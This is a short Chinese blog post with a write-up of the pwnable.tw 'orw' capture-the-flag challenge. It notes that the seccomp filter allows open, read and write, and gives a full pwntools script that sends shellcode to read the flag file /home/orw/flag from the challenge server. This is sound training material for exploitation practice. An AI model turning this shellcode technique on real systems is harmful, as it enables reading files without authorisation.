pwnable.tw | 第2题orw

### 前言

pwnable.tw第二题

分析

IDA打开，发现是直接读入shellcode后执行

image-20240710113302974

orw_seccomp显然是限制了shellcode进行系统调用

image-20240710113550939

seccomp-tools查看到open\read\write这些系统调用没被禁用

利用

# -*- coding: utf-8 -*-
from pwn import *

io = remote("chall.pwnable.tw", 10001)

context(terminal=['gnome-terminal', '-x', 'bash', '-c'], os='linux', arch='x86')

buf = 0x0804A060 + 0x60
shellcode = asm(shellcraft.open("/home/orw/flag"))
shellcode += asm(shellcraft.read(3, buf, 0x60))
shellcode += asm(shellcraft.write(1, buf, 0x60))

io.sendafter("Give my your shellcode:", shellcode)
io.interactive()
posted @ 2024-07-11 11:14  z5onk0  阅读(10)  评论(0)  编辑  收藏  举报